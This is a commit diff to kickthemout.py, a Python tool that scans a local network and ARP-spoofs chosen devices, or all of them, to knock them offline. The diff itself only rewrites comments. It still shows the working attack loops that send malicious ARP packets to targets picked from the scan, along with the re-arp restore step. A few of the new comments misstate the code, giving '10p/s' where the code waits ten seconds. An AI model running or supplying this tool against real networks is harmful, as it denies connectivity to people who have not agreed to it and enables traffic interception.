Add/Fix coding comments

kickthemout.py

@@ -16,12 +16,12 @@ BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m'
 
 notRoot = False
 try:
-    # Check if the user is root
+    # check whether user is root
     if os.geteuid() != 0:
         print("\n{0}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END)
         notRoot = True
 except:
-    # User is probably on windows
+    # then user is probably on windows
     pass
 if notRoot:
     raise SystemExit
@@ -35,8 +35,10 @@ except:
     print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(RED, BLUE, END)
     raise SystemExit
 
+
+
+# display heading
 def heading():
-    # Function for printing the logo & info
     spaces = " " * 76
     sys.stdout.write(GREEN + spaces + """
     █  █▀ ▄█ ▄█▄    █  █▀    ▄▄▄▄▀  ▄  █ ▄███▄   █▀▄▀█  ████▄   ▄      ▄▄▄▄▀
@@ -51,8 +53,10 @@ def heading():
         YELLOW, RED, YELLOW, BLUE).center(111) +
     '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))
 
+
+
+# display options
 def optionBanner():
-    # Function for printing the list of available commands
     print('\nChoose option from menu:\n')
     sleep(0.2)
     print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
@@ -63,8 +67,10 @@ def optionBanner():
     sleep(0.2)
     print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
 
+
+
+# initiate debugging process
 def runDebug():
-    # Function for printing values & variables for debug
     print("\n\n{0}WARNING! An unknown error has occurred, starting debug...{1}").format(RED, END)
     print(
     "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){1}").format(
@@ -98,9 +104,10 @@ def runDebug():
     print("{0}").format(END)
     raise SystemExit
 
+
+
+# regenerate online IPs array & configure gateway
 def regenOnlineIPs():
-    # Function for regenerating the onlineIPs array (made from the hostsLists array from the scan,
-    # but only with the IP's in it) and setting gateway's IP, and checking if its mac address is set
     global onlineIPs
     global defaultGatewayMac
     global defaultGatewayMacSet
@@ -116,17 +123,19 @@ def regenOnlineIPs():
                 defaultGatewayMac = host[1]
 
     if not defaultGatewayMacSet and defaultGatewayMac == "":
-        # Ask for the gateway's mac address if scapy failed to detect it
+        # request gateway MAC address (after failed detection by scapy)
         print("\n{0}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END)
         header = ("{0}kickthemout{1}> {2}Enter your gateway's MAC Address {3}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END))
         defaultGatewayMac = raw_input(header)
         defaultGatewayMacSet = True
 
+
+
+# scan network
 def scanNetwork():
-    # Function for scanning the network with the 'scan.py'
     global hostsList
     try:
-        # Passing the network variable to the scan with the 'True' setting of the getDefaultInterface
+        # call scanning function from scan.py
         hostsList = scan.scanNetwork(getDefaultInterface(True))
     except KeyboardInterrupt:
         print('\n\n{0}Thanks for dropping by.\nCatch ya later!{1}').format(GREEN, END)
@@ -134,17 +143,17 @@ def scanNetwork():
     except:
         print("\n{0}ERROR: Network scanning failed. Please check your requirements configuration.{1}\n").format(RED, END)
         raise SystemExit
-    # onlineIPs also get regenerated after every scan
     regenOnlineIPs()
 
+
+
+# kick one device
 def kickoneoff():
-    # kickoneoff function, launched if the user selects the number for this from the optionBanner
     os.system("clear||cls")
 
     print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
     scanNetwork()
 
-    # Print the list of online IP's with vendors
     print("Online IPs: ")
     for i in range(len(onlineIPs)):
         mac = ""
@@ -156,7 +165,6 @@ def kickoneoff():
 
     canBreak = False
     while not canBreak:
-        # Get the input for which IP to target
         try:
             choice = int(raw_input("\nChoose a target: "))
             one_target_ip = onlineIPs[choice]
@@ -166,7 +174,7 @@ def kickoneoff():
         except:
             print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)
 
-    # Get the mac address of the IP by looping trough the hostList array
+    # locate MAC of specified device
     one_target_mac = ""
     for host in hostsList:
         if host[0] == one_target_ip:
@@ -180,16 +188,16 @@ def kickoneoff():
     print("\n{0}Spoofing started... {1}").format(GREEN, END)
     try:
         while True:
-            # Send a malicious ARP packet in every 10 second
+            # broadcast malicious ARP packets (10p/s)
             spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
             time.sleep(10)
     except KeyboardInterrupt:
-        # Re-arp on KeyboardInterrupt
+        # re-arp target on KeyboardInterrupt exception
         print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
         reArp = 1
         while reArp != 10:
             try:
-                # Send 10 ARP packets with real information to restore the connections
+                # broadcast ARP packets with legitimate info to restore connection
                 spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
             except KeyboardInterrupt:
                 pass
@@ -200,14 +208,14 @@ def kickoneoff():
         print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
 
 
+
+# kick multiple devices
 def kicksomeoff():
-    # kicksomeoff function, launched if the user selects the number for this from the optionBanner
     os.system("clear||cls")
 
     print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
     scanNetwork()
 
-    # Print the list of online IP's with vendors
     print("Online IPs: ")
     for i in range(len(onlineIPs)):
         mac = ""
@@ -219,7 +227,6 @@ def kicksomeoff():
 
     canBreak = False
     while not canBreak:
-        # Get the input for which IPs to target
         try:
             choice = raw_input("\nChoose devices to target(comma-separated): ")
             if ',' in choice:
@@ -230,7 +237,6 @@ def kicksomeoff():
         except KeyboardInterrupt:
             return
 
-    # Create a string list of the IPs to print it out later
     some_ipList = ""
     for i in some_targets:
         try:
@@ -242,13 +248,12 @@ def kicksomeoff():
             return
     some_ipList = some_ipList[:-2] + END
 
-    # Print the string IP list
     print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)
 
     print("\n{0}Spoofing started... {1}").format(GREEN, END)
     try:
         while True:
-            # Send [number of targets] malicious ARP packet in every 10 second
+            # broadcast malicious ARP packets (10p/s)
             for i in some_targets:
                 ip = onlineIPs[int(i)]
                 for host in hostsList:
@@ -256,11 +261,11 @@ def kicksomeoff():
                         spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
             time.sleep(10)
     except KeyboardInterrupt:
-        # Re-arp on KeyboardInterrupt
+        # re-arp targets on KeyboardInterrupt exception
         print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
         reArp = 1
         while reArp != 10:
-            # Send 10 ARP packets with real information to restore the connections to every target
+            # broadcast ARP packets with legitimate info to restore connection
             for i in some_targets:
                 ip = onlineIPs[int(i)]
                 for host in hostsList:
@@ -275,14 +280,15 @@ def kicksomeoff():
             time.sleep(0.5)
         print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
 
+
+
+# kick all devices
 def kickalloff():
-    # kickalloff function, launched if the user selects the number for this from the optionBanner
     os.system("clear||cls")
 
     print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
     scanNetwork()
 
-    # Print the list of online IP's with vendors
     print("Online IPs: ")
     for i in range(len(onlineIPs)):
         mac = ""
@@ -294,13 +300,12 @@ def kickalloff():
 
     print("\n{0}Spoofing started... {1}").format(GREEN, END)
     try:
-        # Send [number of hosts in hostsList array] malicious ARP packet in every 10 second
+        # broadcast malicious ARP packets (10p/s)
         reScan = 0
         while True:
             for host in hostsList:
-                # Loop trough hostsList array
                 if host[0] != defaultGatewayIP:
-                    # Only sent the packet if the target is not the gateway
+                    # dodge gateway (avoid crashing network itself)
                     spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
             reScan += 1
             if reScan == 4:
@@ -311,11 +316,11 @@ def kickalloff():
         print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
         reArp = 1
         while reArp != 10:
-            # Send 10 ARP packets with real information to restore the connections to every target
+            # broadcast ARP packets with legitimate info to restore connection
             for host in hostsList:
                 if host[0] != defaultGatewayIP:
                     try:
-                        # Only sent the packet if the target is not the gateway
+                        # dodge gateway
                         spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                     except KeyboardInterrupt:
                         pass
@@ -325,8 +330,10 @@ def kickalloff():
             time.sleep(0.5)
         print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
 
+
+
+# retrieve network interface
 def getDefaultInterface(returnNet=False):
-    # Function for getting the default network interface of the machine with scapy
     def long2net(arg):
         if (arg <= 0 or arg >= 0xFFFFFFFF):
             raise ValueError("illegal netmask value", hex(arg))
@@ -339,7 +346,7 @@ def getDefaultInterface(returnNet=False):
             return None
         return net
     for network, netmask, _, interface, address in scapy.config.conf.route.routes:
-        # Loop trough ip addresses, skip if local
+        # loop through IPs (skip if local)
         if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
             continue
         if netmask <= 0 or netmask == 0xFFFFFFFF:
@@ -349,25 +356,28 @@ def getDefaultInterface(returnNet=False):
             continue
         if net:
             if returnNet:
-                # Returning network if the returnNet is set to True (for the network scan)
                 return net
             else:
                 return interface
 
+
+
+# retrieve gateway IP
 def getGatewayIP():
-    # Function for getting the IP of the gateway with scapy
     try:
         getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
         return getGateway_p.src
     except:
-        # Ask for the gateway ip address if scapy failed to detect it
+        # request gateway IP address (after failed detection by scapy)
         print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END)
         header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END))
         gatewayIP = raw_input(header)
         return gatewayIP
 
+
+
+# retrieve default interface MAC address
 def getDefaultInterfaceMAC():
-    # Function for getting the mac address of the default interface
     try:
         defaultInterfaceMac = get_if_hwaddr(defaultInterface)
         if defaultInterfaceMac == "" or not defaultInterfaceMac:
@@ -380,16 +390,18 @@ def getDefaultInterfaceMAC():
         else:
             return defaultInterfaceMac
     except:
-        # Ask for the mac address if scapy failed to detect it
+        # request interface MAC address (after failed detection by scapy)
         print("\n{0}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END)
         header = ('{0}kickthemout{1}> {2}Enter MAC Address {3}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END))
         defaultInterfaceMac = raw_input(header)
         return defaultInterfaceMac
 
+
+
+# resolve mac address of each vendor
 def resolveMac(mac):
-    # Function for resolving mac addresses to vendor names
     try:
-        # Sending web request to macvendors.co
+        # sen request to macvendors.co
         url = "http://macvendors.co/api/vendorname/"
         request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
         response = urllib.urlopen(request)
@@ -400,25 +412,26 @@ def resolveMac(mac):
     except:
         return "N/A"
 
+
+
+# script's main function
 def main():
 
-    # Print the KickThemOut logo
+    # display heading
     heading()
 
     print(
         "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
         + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, 
                                                                                                 RED, GREEN, RED, GREEN, END)
-    # Print warnings if there are no hosts up
+    # display warning in case of no active hosts
     if len(hostsList) == 0 or len(hostsList) == 1:
         if len(hostsList) == 1:
             if hostsList[0][0] == defaultGatewayIP:
-                # If gateway found by the scan
                 print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't kick anyone off {4}:/{5}\n").format(
                     GREEN, RED, GREEN, RED, GREEN, END)
                 raise SystemExit
         else:
-            # If no gateway or host found by the scan
             print(
             "\n{0}{1}WARNING: There are {2}0{3} hosts up on you network.\n\tIt looks like something went wrong {4}:/{5}").format(
                 GREEN, RED, GREEN, RED, GREEN, END)
@@ -429,17 +442,13 @@ def main():
 
     try:
 
-        # Getting user input with while loop
         while True:
 
-            # Print menu items
             optionBanner()
 
-            # Get user input
             header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END))
             choice = raw_input(header)
 
-            # Handling the input
             if choice.upper() == 'E' or choice.upper() == 'EXIT':
                 print('\n{0}Thanks for dropping by.'
                       '\nCatch ya later!{1}').format(GREEN, END)
@@ -455,16 +464,13 @@ def main():
             else:
                 print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END)
 
-    # Stopping loop on KeyboardInterrupt
     except KeyboardInterrupt:
         print('\n\n{0}Thanks for dropping by.'
               '\nCatch ya later!{1}').format(GREEN, END)
 
 if __name__ == '__main__':
 
-    # -- Start point --
+    # configure appropriate network info
-
-    # Setting the network info variables
     sys.stdout.write("{0}Scanning your network, hang on...{1}\r".format(GREEN, END))
     sys.stdout.flush()
     defaultInterface = getDefaultInterface()
@@ -472,7 +478,8 @@ if __name__ == '__main__':
     defaultInterfaceMac = getDefaultInterfaceMAC()
     global defaultGatewayMacSet
     defaultGatewayMacSet = False
-    # Scanning network for the first time
+
+    # commence scanning process
     scanNetwork()
 
-    main()
+    main()